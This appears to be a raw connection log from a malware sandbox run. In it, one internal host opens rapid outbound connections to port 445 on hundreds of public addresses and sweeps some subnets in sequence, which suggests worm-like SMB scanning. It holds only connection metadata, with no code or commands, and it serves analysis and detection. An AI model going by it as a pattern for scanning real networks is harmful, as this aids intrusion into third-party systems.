Jul 20, 2022 19:31:42.807991982 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.810432911 CEST	51684	445	192.168.2.7	148.199.111.194
Jul 20, 2022 19:31:42.811171055 CEST	51685	445	192.168.2.7	187.187.60.104
Jul 20, 2022 19:31:42.811830997 CEST	51686	445	192.168.2.7	24.45.2.1
Jul 20, 2022 19:31:42.812500000 CEST	51687	445	192.168.2.7	214.215.8.64
Jul 20, 2022 19:31:42.813718081 CEST	51688	445	192.168.2.7	217.109.128.34
Jul 20, 2022 19:31:42.813817978 CEST	51689	445	192.168.2.7	197.129.67.189
Jul 20, 2022 19:31:42.814626932 CEST	51690	445	192.168.2.7	53.2.156.56
Jul 20, 2022 19:31:42.815373898 CEST	51691	445	192.168.2.7	141.22.29.221
Jul 20, 2022 19:31:42.816077948 CEST	51692	445	192.168.2.7	142.181.165.41
Jul 20, 2022 19:31:42.816755056 CEST	51693	445	192.168.2.7	214.211.153.125
Jul 20, 2022 19:31:42.831222057 CEST	51694	445	192.168.2.7	173.61.176.90
Jul 20, 2022 19:31:42.833314896 CEST	51695	445	192.168.2.7	169.95.224.244
Jul 20, 2022 19:31:42.838480949 CEST	51697	445	192.168.2.7	56.160.74.28
Jul 20, 2022 19:31:42.838515997 CEST	51696	445	192.168.2.7	112.205.238.129
Jul 20, 2022 19:31:42.838726044 CEST	51699	445	192.168.2.7	101.179.194.0
Jul 20, 2022 19:31:42.838742971 CEST	51700	445	192.168.2.7	59.84.7.73
Jul 20, 2022 19:31:42.838749886 CEST	51698	445	192.168.2.7	222.60.1.90
Jul 20, 2022 19:31:42.838849068 CEST	51701	445	192.168.2.7	163.24.115.161
Jul 20, 2022 19:31:42.913907051 CEST	51703	445	192.168.2.7	213.142.151.39
Jul 20, 2022 19:31:42.962606907 CEST	51704	445	192.168.2.7	144.64.132.246
Jul 20, 2022 19:31:42.962698936 CEST	51707	445	192.168.2.7	10.64.144.74
Jul 20, 2022 19:31:42.962713003 CEST	51706	445	192.168.2.7	86.72.181.1
Jul 20, 2022 19:31:43.799601078 CEST	51710	445	192.168.2.7	51.158.189.5
Jul 20, 2022 19:31:43.917112112 CEST	51712	445	192.168.2.7	70.142.27.167
Jul 20, 2022 19:31:43.917982101 CEST	51713	445	192.168.2.7	123.184.99.213
Jul 20, 2022 19:31:43.918103933 CEST	51717	445	192.168.2.7	103.37.254.54
Jul 20, 2022 19:31:43.918147087 CEST	51716	445	192.168.2.7	174.62.119.43
Jul 20, 2022 19:31:43.918246984 CEST	51719	445	192.168.2.7	7.94.241.51
Jul 20, 2022 19:31:43.918339968 CEST	51721	445	192.168.2.7	113.126.9.139
Jul 20, 2022 19:31:43.918401957 CEST	51722	445	192.168.2.7	55.152.109.66
Jul 20, 2022 19:31:43.932965040 CEST	51723	445	192.168.2.7	178.157.60.123
Jul 20, 2022 19:31:43.933692932 CEST	51724	445	192.168.2.7	175.245.90.194
Jul 20, 2022 19:31:43.934429884 CEST	51725	445	192.168.2.7	175.236.174.226
Jul 20, 2022 19:31:43.935178041 CEST	51726	445	192.168.2.7	83.0.101.121
Jul 20, 2022 19:31:43.935894012 CEST	51727	445	192.168.2.7	150.226.216.16
Jul 20, 2022 19:31:43.936835051 CEST	51728	445	192.168.2.7	203.127.233.217
Jul 20, 2022 19:31:43.937546968 CEST	51729	445	192.168.2.7	168.4.61.238
Jul 20, 2022 19:31:43.938241005 CEST	51730	445	192.168.2.7	192.198.87.80
Jul 20, 2022 19:31:43.938929081 CEST	51731	445	192.168.2.7	141.207.214.175
Jul 20, 2022 19:31:43.939625978 CEST	51732	445	192.168.2.7	68.140.77.5
Jul 20, 2022 19:31:43.943454027 CEST	51738	445	192.168.2.7	98.69.30.247
Jul 20, 2022 19:31:43.951289892 CEST	51739	445	192.168.2.7	211.30.242.55
Jul 20, 2022 19:31:43.951369047 CEST	51740	445	192.168.2.7	12.231.122.23
Jul 20, 2022 19:31:43.952069044 CEST	51741	445	192.168.2.7	145.83.66.159
Jul 20, 2022 19:31:43.960555077 CEST	51742	445	192.168.2.7	75.171.145.135
Jul 20, 2022 19:31:43.961721897 CEST	51743	445	192.168.2.7	51.224.68.56
Jul 20, 2022 19:31:43.962619066 CEST	51744	445	192.168.2.7	104.52.6.105
Jul 20, 2022 19:31:43.963376045 CEST	51745	445	192.168.2.7	117.110.225.35
Jul 20, 2022 19:31:43.964126110 CEST	51746	445	192.168.2.7	74.167.100.113
Jul 20, 2022 19:31:43.964899063 CEST	51747	445	192.168.2.7	74.37.157.121
Jul 20, 2022 19:31:44.000624895 CEST	51749	445	192.168.2.7	213.142.151.40
Jul 20, 2022 19:31:44.085707903 CEST	51750	445	192.168.2.7	190.200.221.248
Jul 20, 2022 19:31:44.086575031 CEST	51751	445	192.168.2.7	28.100.58.90
Jul 20, 2022 19:31:44.087285995 CEST	51752	445	192.168.2.7	176.45.82.90
Jul 20, 2022 19:31:44.866799116 CEST	51755	445	192.168.2.7	51.158.189.6
Jul 20, 2022 19:31:45.039633036 CEST	51757	445	192.168.2.7	203.111.239.71
Jul 20, 2022 19:31:45.040421009 CEST	51758	445	192.168.2.7	173.66.45.252
Jul 20, 2022 19:31:45.041136980 CEST	51759	445	192.168.2.7	20.197.223.19
Jul 20, 2022 19:31:45.047804117 CEST	51762	445	192.168.2.7	74.32.42.163
Jul 20, 2022 19:31:45.049190044 CEST	51764	445	192.168.2.7	57.62.47.90
Jul 20, 2022 19:31:45.049969912 CEST	51765	445	192.168.2.7	82.169.19.137
Jul 20, 2022 19:31:45.051668882 CEST	51767	445	192.168.2.7	23.70.48.73
Jul 20, 2022 19:31:45.055131912 CEST	51769	445	192.168.2.7	43.76.105.188
Jul 20, 2022 19:31:45.059403896 CEST	51775	445	192.168.2.7	7.18.222.158
Jul 20, 2022 19:31:45.060131073 CEST	51776	445	192.168.2.7	189.147.240.145
Jul 20, 2022 19:31:45.061182976 CEST	51777	445	192.168.2.7	216.157.126.187
Jul 20, 2022 19:31:45.082674980 CEST	51778	445	192.168.2.7	41.53.18.20
Jul 20, 2022 19:31:45.104507923 CEST	51779	445	192.168.2.7	178.168.101.32
Jul 20, 2022 19:31:45.104633093 CEST	51780	445	192.168.2.7	149.154.152.242
Jul 20, 2022 19:31:45.104716063 CEST	51781	445	192.168.2.7	161.104.96.33
Jul 20, 2022 19:31:45.105314970 CEST	51783	445	192.168.2.7	119.229.240.196
Jul 20, 2022 19:31:45.105326891 CEST	51782	445	192.168.2.7	116.152.209.136
Jul 20, 2022 19:31:45.105475903 CEST	51784	445	192.168.2.7	4.210.104.144
Jul 20, 2022 19:31:45.105705023 CEST	51785	445	192.168.2.7	213.142.151.41
Jul 20, 2022 19:31:45.109498978 CEST	51786	445	192.168.2.7	158.141.198.185
Jul 20, 2022 19:31:45.109657049 CEST	51788	445	192.168.2.7	96.151.75.28
Jul 20, 2022 19:31:45.109771967 CEST	51789	445	192.168.2.7	188.71.99.148
Jul 20, 2022 19:31:45.109911919 CEST	51790	445	192.168.2.7	126.51.195.26
Jul 20, 2022 19:31:45.110008001 CEST	51791	445	192.168.2.7	114.178.97.14
Jul 20, 2022 19:31:45.110120058 CEST	51793	445	192.168.2.7	87.214.251.124
Jul 20, 2022 19:31:45.110124111 CEST	51792	445	192.168.2.7	88.221.215.98
Jul 20, 2022 19:31:45.110254049 CEST	51794	445	192.168.2.7	39.3.38.55
Jul 20, 2022 19:31:45.110270977 CEST	51795	445	192.168.2.7	126.114.69.119
Jul 20, 2022 19:31:45.202382088 CEST	445	51767	23.70.48.73	192.168.2.7
Jul 20, 2022 19:31:45.211803913 CEST	51796	445	192.168.2.7	38.197.18.212
Jul 20, 2022 19:31:45.212802887 CEST	51797	445	192.168.2.7	193.145.169.199
Jul 20, 2022 19:31:45.212820053 CEST	51798	445	192.168.2.7	2.56.153.161
Jul 20, 2022 19:31:45.819200039 CEST	51767	445	192.168.2.7	23.70.48.73
Jul 20, 2022 19:31:45.957823992 CEST	51802	445	192.168.2.7	51.158.189.7
Jul 20, 2022 19:31:45.971210003 CEST	445	51767	23.70.48.73	192.168.2.7
Jul 20, 2022 19:31:45.980736971 CEST	445	51802	51.158.189.7	192.168.2.7
Jul 20, 2022 19:31:46.172910929 CEST	51804	445	192.168.2.7	188.101.62.220
Jul 20, 2022 19:31:46.174966097 CEST	51805	445	192.168.2.7	29.103.180.249
Jul 20, 2022 19:31:46.175045967 CEST	51808	445	192.168.2.7	178.190.209.251
Jul 20, 2022 19:31:46.175071955 CEST	51809	445	192.168.2.7	151.154.112.223
Jul 20, 2022 19:31:46.175210953 CEST	51811	445	192.168.2.7	39.42.23.210
Jul 20, 2022 19:31:46.175328016 CEST	51812	445	192.168.2.7	111.244.171.100
Jul 20, 2022 19:31:46.175375938 CEST	51814	445	192.168.2.7	35.241.19.189
Jul 20, 2022 19:31:46.179876089 CEST	51816	445	192.168.2.7	7.79.203.204
Jul 20, 2022 19:31:46.180660963 CEST	51817	445	192.168.2.7	80.77.145.203
Jul 20, 2022 19:31:46.181467056 CEST	51818	445	192.168.2.7	205.254.15.209
Jul 20, 2022 19:31:46.192053080 CEST	51823	445	192.168.2.7	35.180.91.224
Jul 20, 2022 19:31:46.192249060 CEST	51825	445	192.168.2.7	213.142.151.42
Jul 20, 2022 19:31:46.193655014 CEST	445	51814	35.241.19.189	192.168.2.7
Jul 20, 2022 19:31:46.195033073 CEST	51826	445	192.168.2.7	212.103.179.203
Jul 20, 2022 19:31:46.227165937 CEST	51827	445	192.168.2.7	93.253.16.145
Jul 20, 2022 19:31:46.232584000 CEST	51828	445	192.168.2.7	105.6.186.193
Jul 20, 2022 19:31:46.232664108 CEST	51831	445	192.168.2.7	124.245.180.132
Jul 20, 2022 19:31:46.232676983 CEST	51829	445	192.168.2.7	4.205.236.229
Jul 20, 2022 19:31:46.232758045 CEST	51830	445	192.168.2.7	84.138.3.203
Jul 20, 2022 19:31:46.232866049 CEST	51832	445	192.168.2.7	20.52.91.99
Jul 20, 2022 19:31:46.232927084 CEST	51833	445	192.168.2.7	217.130.235.147
Jul 20, 2022 19:31:46.233058929 CEST	51835	445	192.168.2.7	27.1.194.246
Jul 20, 2022 19:31:46.233150005 CEST	51836	445	192.168.2.7	182.22.3.150
Jul 20, 2022 19:31:46.233355045 CEST	51837	445	192.168.2.7	184.138.181.93
Jul 20, 2022 19:31:46.233386993 CEST	51838	445	192.168.2.7	95.141.114.61
Jul 20, 2022 19:31:46.233532906 CEST	51839	445	192.168.2.7	112.126.217.93
Jul 20, 2022 19:31:46.233632088 CEST	51840	445	192.168.2.7	156.235.249.94
Jul 20, 2022 19:31:46.233635902 CEST	51841	445	192.168.2.7	32.96.101.93
Jul 20, 2022 19:31:46.233736992 CEST	51842	445	192.168.2.7	51.54.63.17
Jul 20, 2022 19:31:46.335820913 CEST	51843	445	192.168.2.7	161.116.218.59
Jul 20, 2022 19:31:46.337295055 CEST	51844	445	192.168.2.7	212.205.74.216
Jul 20, 2022 19:31:46.338046074 CEST	51845	445	192.168.2.7	137.131.33.198
Jul 20, 2022 19:31:46.506905079 CEST	51802	445	192.168.2.7	51.158.189.7
Jul 20, 2022 19:31:46.529257059 CEST	445	51802	51.158.189.7	192.168.2.7
Jul 20, 2022 19:31:46.881764889 CEST	51814	445	192.168.2.7	35.241.19.189
Jul 20, 2022 19:31:46.900288105 CEST	445	51814	35.241.19.189	192.168.2.7
Jul 20, 2022 19:31:47.023996115 CEST	51848	445	192.168.2.7	51.158.189.8
Jul 20, 2022 19:31:47.255464077 CEST	51850	445	192.168.2.7	213.142.151.43
Jul 20, 2022 19:31:47.280093908 CEST	51860	445	192.168.2.7	126.154.34.70
Jul 20, 2022 19:31:47.280109882 CEST	51853	445	192.168.2.7	119.213.214.22
Jul 20, 2022 19:31:47.280142069 CEST	51854	445	192.168.2.7	159.167.52.239
Jul 20, 2022 19:31:47.280144930 CEST	51858	445	192.168.2.7	169.179.187.215
Jul 20, 2022 19:31:47.280148983 CEST	51861	445	192.168.2.7	83.175.180.32
Jul 20, 2022 19:31:47.280208111 CEST	51852	445	192.168.2.7	144.57.219.144
Jul 20, 2022 19:31:47.280234098 CEST	51856	445	192.168.2.7	214.76.225.58
Jul 20, 2022 19:31:47.290417910 CEST	51865	445	192.168.2.7	150.145.127.217
Jul 20, 2022 19:31:47.293240070 CEST	51871	445	192.168.2.7	204.11.111.179
Jul 20, 2022 19:31:47.298433065 CEST	51870	445	192.168.2.7	162.234.104.48
Jul 20, 2022 19:31:47.298456907 CEST	51869	445	192.168.2.7	155.155.182.247
Jul 20, 2022 19:31:47.304426908 CEST	51872	445	192.168.2.7	31.8.10.111
Jul 20, 2022 19:31:47.353032112 CEST	51873	445	192.168.2.7	15.154.39.25
Jul 20, 2022 19:31:47.378159046 CEST	51874	445	192.168.2.7	17.95.222.242
Jul 20, 2022 19:31:47.392499924 CEST	51876	445	192.168.2.7	155.123.223.245
Jul 20, 2022 19:31:47.392502069 CEST	51875	445	192.168.2.7	158.206.178.228
Jul 20, 2022 19:31:47.392659903 CEST	51878	445	192.168.2.7	106.180.210.29
Jul 20, 2022 19:31:47.392771959 CEST	51877	445	192.168.2.7	46.36.37.53
Jul 20, 2022 19:31:47.392776012 CEST	51880	445	192.168.2.7	36.225.87.194
Jul 20, 2022 19:31:47.392810106 CEST	51879	445	192.168.2.7	207.234.222.19
Jul 20, 2022 19:31:47.392909050 CEST	51882	445	192.168.2.7	157.23.197.179
Jul 20, 2022 19:31:47.393009901 CEST	51884	445	192.168.2.7	104.186.120.168
Jul 20, 2022 19:31:47.393035889 CEST	51883	445	192.168.2.7	57.178.229.226
Jul 20, 2022 19:31:47.393142939 CEST	51885	445	192.168.2.7	64.225.108.100
Jul 20, 2022 19:31:47.393155098 CEST	51887	445	192.168.2.7	195.226.149.99
Jul 20, 2022 19:31:47.393213987 CEST	51886	445	192.168.2.7	10.29.51.122
Jul 20, 2022 19:31:47.393326044 CEST	51888	445	192.168.2.7	83.240.120.126
Jul 20, 2022 19:31:47.431380033 CEST	445	51887	195.226.149.99	192.168.2.7
Jul 20, 2022 19:31:47.460997105 CEST	51889	445	192.168.2.7	220.250.132.212
Jul 20, 2022 19:31:47.467081070 CEST	51890	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:31:47.467864990 CEST	51891	445	192.168.2.7	104.51.238.210
Jul 20, 2022 19:31:47.624625921 CEST	445	51890	131.153.221.59	192.168.2.7
Jul 20, 2022 19:31:47.624862909 CEST	51890	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:31:47.625089884 CEST	51890	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:31:47.626183987 CEST	51893	445	192.168.2.7	131.153.221.1
Jul 20, 2022 19:31:47.782443047 CEST	445	51890	131.153.221.59	192.168.2.7
Jul 20, 2022 19:31:47.782490969 CEST	445	51890	131.153.221.59	192.168.2.7
Jul 20, 2022 19:31:47.791356087 CEST	445	51893	131.153.221.1	192.168.2.7
Jul 20, 2022 19:31:47.975611925 CEST	51887	445	192.168.2.7	195.226.149.99
Jul 20, 2022 19:31:48.016319036 CEST	445	51887	195.226.149.99	192.168.2.7
Jul 20, 2022 19:31:48.113749981 CEST	51896	445	192.168.2.7	51.158.189.9
Jul 20, 2022 19:31:48.320235968 CEST	51898	445	192.168.2.7	213.142.151.44
Jul 20, 2022 19:31:48.381975889 CEST	51893	445	192.168.2.7	131.153.221.1
Jul 20, 2022 19:31:48.388933897 CEST	51900	445	192.168.2.7	204.169.108.206
Jul 20, 2022 19:31:48.389058113 CEST	51903	445	192.168.2.7	173.248.26.148
Jul 20, 2022 19:31:48.389200926 CEST	51902	445	192.168.2.7	170.199.76.25
Jul 20, 2022 19:31:48.389242887 CEST	51905	445	192.168.2.7	74.238.150.156
Jul 20, 2022 19:31:48.389328003 CEST	51908	445	192.168.2.7	42.219.212.241
Jul 20, 2022 19:31:48.389344931 CEST	51907	445	192.168.2.7	40.25.36.101
Jul 20, 2022 19:31:48.389509916 CEST	51909	445	192.168.2.7	138.177.226.203
Jul 20, 2022 19:31:48.398070097 CEST	80	49718	93.184.220.29	192.168.2.7
Jul 20, 2022 19:31:48.398155928 CEST	49718	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:31:48.401190042 CEST	51911	445	192.168.2.7	36.212.216.247
Jul 20, 2022 19:31:48.401475906 CEST	51913	445	192.168.2.7	9.59.230.7
Jul 20, 2022 19:31:48.401674032 CEST	51917	445	192.168.2.7	162.27.249.218
Jul 20, 2022 19:31:48.414160967 CEST	51920	445	192.168.2.7	48.159.45.126
Jul 20, 2022 19:31:48.471457005 CEST	51921	445	192.168.2.7	115.177.113.15
Jul 20, 2022 19:31:48.497153044 CEST	51922	445	192.168.2.7	110.253.175.217
Jul 20, 2022 19:31:48.498665094 CEST	51924	445	192.168.2.7	12.227.36.72
Jul 20, 2022 19:31:48.498682022 CEST	51923	445	192.168.2.7	13.64.1.254
Jul 20, 2022 19:31:48.498893023 CEST	51928	445	192.168.2.7	55.246.243.13
Jul 20, 2022 19:31:48.498933077 CEST	51927	445	192.168.2.7	13.60.204.77
Jul 20, 2022 19:31:48.499095917 CEST	51929	445	192.168.2.7	174.211.202.49
Jul 20, 2022 19:31:48.499190092 CEST	51930	445	192.168.2.7	15.170.100.128
Jul 20, 2022 19:31:48.499262094 CEST	51931	445	192.168.2.7	171.111.207.53
Jul 20, 2022 19:31:48.499403954 CEST	51932	445	192.168.2.7	208.248.177.75
Jul 20, 2022 19:31:48.499461889 CEST	51933	445	192.168.2.7	83.186.88.2
Jul 20, 2022 19:31:48.499512911 CEST	51934	445	192.168.2.7	10.187.240.63
Jul 20, 2022 19:31:48.499641895 CEST	51936	445	192.168.2.7	26.236.36.202
Jul 20, 2022 19:31:48.499674082 CEST	51935	445	192.168.2.7	126.25.163.249
Jul 20, 2022 19:31:48.547986984 CEST	445	51893	131.153.221.1	192.168.2.7
Jul 20, 2022 19:31:48.570064068 CEST	443	49721	80.67.82.201	192.168.2.7
Jul 20, 2022 19:31:48.570108891 CEST	443	49721	80.67.82.201	192.168.2.7
Jul 20, 2022 19:31:48.570264101 CEST	49721	443	192.168.2.7	80.67.82.201
Jul 20, 2022 19:31:48.570341110 CEST	49721	443	192.168.2.7	80.67.82.201
Jul 20, 2022 19:31:48.586695910 CEST	51938	445	192.168.2.7	169.42.207.149
Jul 20, 2022 19:31:48.587486982 CEST	51939	445	192.168.2.7	107.47.254.10
Jul 20, 2022 19:31:48.696266890 CEST	51940	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:48.861043930 CEST	445	51940	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:48.861196041 CEST	51940	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:48.861371994 CEST	51940	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:48.864206076 CEST	51941	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:49.025976896 CEST	445	51940	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:49.026017904 CEST	445	51940	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:49.028918028 CEST	445	51941	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:49.029110909 CEST	51941	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:49.032301903 CEST	80	49719	93.184.220.29	192.168.2.7
Jul 20, 2022 19:31:49.032474041 CEST	49719	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:31:49.033488989 CEST	51941	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:49.195406914 CEST	51944	445	192.168.2.7	51.158.189.10
Jul 20, 2022 19:31:49.200066090 CEST	445	51941	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:49.399815083 CEST	51946	445	192.168.2.7	213.142.151.45
Jul 20, 2022 19:31:49.512897015 CEST	51947	445	192.168.2.7	71.7.230.155
Jul 20, 2022 19:31:49.515583038 CEST	51952	445	192.168.2.7	136.179.34.210
Jul 20, 2022 19:31:49.516582966 CEST	51954	445	192.168.2.7	197.26.253.14
Jul 20, 2022 19:31:49.517102003 CEST	51955	445	192.168.2.7	69.179.92.7
Jul 20, 2022 19:31:49.518851995 CEST	51958	445	192.168.2.7	90.186.16.33
Jul 20, 2022 19:31:49.519361973 CEST	51959	445	192.168.2.7	80.177.131.59
Jul 20, 2022 19:31:49.520363092 CEST	51961	445	192.168.2.7	158.177.197.238
Jul 20, 2022 19:31:49.520865917 CEST	51962	445	192.168.2.7	72.181.192.172
Jul 20, 2022 19:31:49.521372080 CEST	51963	445	192.168.2.7	211.53.121.149
Jul 20, 2022 19:31:49.522334099 CEST	51965	445	192.168.2.7	34.122.233.237
Jul 20, 2022 19:31:49.523777962 CEST	51967	445	192.168.2.7	178.29.218.57
Jul 20, 2022 19:31:49.539269924 CEST	51968	445	192.168.2.7	113.138.168.41
Jul 20, 2022 19:31:49.586766005 CEST	51969	445	192.168.2.7	112.152.35.183
Jul 20, 2022 19:31:49.617228985 CEST	51970	445	192.168.2.7	218.149.73.168
Jul 20, 2022 19:31:49.618012905 CEST	51971	445	192.168.2.7	185.184.26.242
Jul 20, 2022 19:31:49.618886948 CEST	51972	445	192.168.2.7	54.1.249.219
Jul 20, 2022 19:31:49.619713068 CEST	51973	445	192.168.2.7	52.182.247.142
Jul 20, 2022 19:31:49.620466948 CEST	51974	445	192.168.2.7	9.181.0.108
Jul 20, 2022 19:31:49.621189117 CEST	51975	445	192.168.2.7	132.68.155.146
Jul 20, 2022 19:31:49.621901989 CEST	51976	445	192.168.2.7	138.141.129.118
Jul 20, 2022 19:31:49.622601986 CEST	51977	445	192.168.2.7	56.6.30.120
Jul 20, 2022 19:31:49.630518913 CEST	51978	445	192.168.2.7	26.167.243.129
Jul 20, 2022 19:31:49.633734941 CEST	51980	445	192.168.2.7	113.10.17.242
Jul 20, 2022 19:31:49.633778095 CEST	51981	445	192.168.2.7	51.232.17.225
Jul 20, 2022 19:31:49.633892059 CEST	51982	445	192.168.2.7	40.247.188.2
Jul 20, 2022 19:31:49.634005070 CEST	51983	445	192.168.2.7	39.151.225.207
Jul 20, 2022 19:31:49.634116888 CEST	51984	445	192.168.2.7	142.97.178.130
Jul 20, 2022 19:31:49.696491957 CEST	51986	445	192.168.2.7	14.87.71.200
Jul 20, 2022 19:31:49.697247028 CEST	51987	445	192.168.2.7	188.232.67.239
Jul 20, 2022 19:31:50.273343086 CEST	51991	445	192.168.2.7	51.158.189.11
Jul 20, 2022 19:31:50.477188110 CEST	51992	445	192.168.2.7	213.142.151.46
Jul 20, 2022 19:31:50.634354115 CEST	51995	445	192.168.2.7	216.203.107.102
Jul 20, 2022 19:31:50.657670021 CEST	51997	445	192.168.2.7	151.194.216.156
Jul 20, 2022 19:31:50.657725096 CEST	51999	445	192.168.2.7	161.127.184.202
Jul 20, 2022 19:31:50.657850981 CEST	52003	445	192.168.2.7	29.147.220.165
Jul 20, 2022 19:31:50.657919884 CEST	52006	445	192.168.2.7	222.128.33.43
Jul 20, 2022 19:31:50.658101082 CEST	52010	445	192.168.2.7	203.113.172.104
Jul 20, 2022 19:31:50.658102036 CEST	52005	445	192.168.2.7	189.243.14.38
Jul 20, 2022 19:31:50.658130884 CEST	52009	445	192.168.2.7	133.163.65.216
Jul 20, 2022 19:31:50.658184052 CEST	52012	445	192.168.2.7	38.16.38.170
Jul 20, 2022 19:31:50.658298016 CEST	52014	445	192.168.2.7	83.96.79.141
Jul 20, 2022 19:31:50.658299923 CEST	52013	445	192.168.2.7	111.68.7.38
Jul 20, 2022 19:31:50.663923979 CEST	52015	445	192.168.2.7	203.124.24.206
Jul 20, 2022 19:31:50.711447001 CEST	52016	445	192.168.2.7	68.48.110.39
Jul 20, 2022 19:31:50.752039909 CEST	52017	445	192.168.2.7	222.46.98.136
Jul 20, 2022 19:31:50.754031897 CEST	52018	445	192.168.2.7	90.105.177.90
Jul 20, 2022 19:31:50.755544901 CEST	52019	445	192.168.2.7	132.170.14.186
Jul 20, 2022 19:31:50.755558014 CEST	52021	445	192.168.2.7	24.119.42.126
Jul 20, 2022 19:31:50.755683899 CEST	52020	445	192.168.2.7	133.166.233.247
Jul 20, 2022 19:31:50.755702019 CEST	52022	445	192.168.2.7	45.88.50.14
Jul 20, 2022 19:31:50.755738974 CEST	52023	445	192.168.2.7	31.249.231.106
Jul 20, 2022 19:31:50.755820990 CEST	52025	445	192.168.2.7	150.231.113.225
Jul 20, 2022 19:31:50.755837917 CEST	52024	445	192.168.2.7	51.81.98.116
Jul 20, 2022 19:31:50.758491039 CEST	52026	445	192.168.2.7	55.162.103.48
Jul 20, 2022 19:31:50.759577990 CEST	52027	445	192.168.2.7	83.15.248.254
Jul 20, 2022 19:31:50.759659052 CEST	52029	445	192.168.2.7	52.202.15.142
Jul 20, 2022 19:31:50.759665966 CEST	52030	445	192.168.2.7	173.92.57.39
Jul 20, 2022 19:31:50.759768963 CEST	52031	445	192.168.2.7	132.91.204.10
Jul 20, 2022 19:31:50.821377993 CEST	52032	445	192.168.2.7	56.36.168.33
Jul 20, 2022 19:31:50.821414948 CEST	52033	445	192.168.2.7	54.196.74.202
Jul 20, 2022 19:31:51.352464914 CEST	52037	445	192.168.2.7	51.158.189.12
Jul 20, 2022 19:31:51.374872923 CEST	445	52037	51.158.189.12	192.168.2.7
Jul 20, 2022 19:31:51.554824114 CEST	52039	445	192.168.2.7	213.142.151.47
Jul 20, 2022 19:31:51.767704010 CEST	52041	445	192.168.2.7	13.184.147.83
Jul 20, 2022 19:31:51.775748014 CEST	52043	445	192.168.2.7	72.232.129.219
Jul 20, 2022 19:31:51.780092001 CEST	52044	445	192.168.2.7	2.207.123.131
Jul 20, 2022 19:31:51.782666922 CEST	52045	445	192.168.2.7	40.24.192.24
Jul 20, 2022 19:31:51.783792019 CEST	52049	445	192.168.2.7	55.253.22.223
Jul 20, 2022 19:31:51.783802032 CEST	52055	445	192.168.2.7	197.252.166.203
Jul 20, 2022 19:31:51.783802986 CEST	52053	445	192.168.2.7	13.182.149.38
Jul 20, 2022 19:31:51.783807993 CEST	52052	445	192.168.2.7	161.126.25.111
Jul 20, 2022 19:31:51.783821106 CEST	52057	445	192.168.2.7	40.246.231.42
Jul 20, 2022 19:31:51.783843040 CEST	52051	445	192.168.2.7	204.89.149.85
Jul 20, 2022 19:31:51.784575939 CEST	52048	445	192.168.2.7	160.233.126.153
Jul 20, 2022 19:31:51.789191008 CEST	52063	445	192.168.2.7	201.60.62.67
Jul 20, 2022 19:31:51.824553013 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.824584961 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.824662924 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.825490952 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.825501919 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.836530924 CEST	52065	445	192.168.2.7	150.171.249.40
Jul 20, 2022 19:31:51.868391037 CEST	52066	445	192.168.2.7	40.89.70.46
Jul 20, 2022 19:31:51.869422913 CEST	52067	445	192.168.2.7	13.84.120.9
Jul 20, 2022 19:31:51.870300055 CEST	52068	445	192.168.2.7	177.174.4.96
Jul 20, 2022 19:31:51.871051073 CEST	52069	445	192.168.2.7	73.175.72.55
Jul 20, 2022 19:31:51.871723890 CEST	52070	445	192.168.2.7	181.21.9.82
Jul 20, 2022 19:31:51.872399092 CEST	52071	445	192.168.2.7	130.124.115.138
Jul 20, 2022 19:31:51.873100996 CEST	52072	445	192.168.2.7	38.123.224.51
Jul 20, 2022 19:31:51.897284985 CEST	52073	445	192.168.2.7	140.194.53.132
Jul 20, 2022 19:31:51.911571026 CEST	52075	445	192.168.2.7	119.231.107.119
Jul 20, 2022 19:31:51.911832094 CEST	52077	445	192.168.2.7	105.214.62.253
Jul 20, 2022 19:31:51.911844969 CEST	52076	445	192.168.2.7	144.168.40.81
Jul 20, 2022 19:31:51.911945105 CEST	52078	445	192.168.2.7	91.124.206.30
Jul 20, 2022 19:31:51.912067890 CEST	52079	445	192.168.2.7	17.222.98.182
Jul 20, 2022 19:31:51.916306019 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.916414022 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.919476032 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.919483900 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.919822931 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.921698093 CEST	52080	445	192.168.2.7	180.28.53.159
Jul 20, 2022 19:31:51.941193104 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.941260099 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.941267014 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.941423893 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.946302891 CEST	52082	445	192.168.2.7	55.126.190.165
Jul 20, 2022 19:31:51.949321032 CEST	52083	445	192.168.2.7	149.20.119.79
Jul 20, 2022 19:31:51.971560001 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.971697092 CEST	443	52064	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:51.971750975 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.973328114 CEST	52064	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:51.973340034 CEST	443	52064	20.199.120.85	192.168.2.7
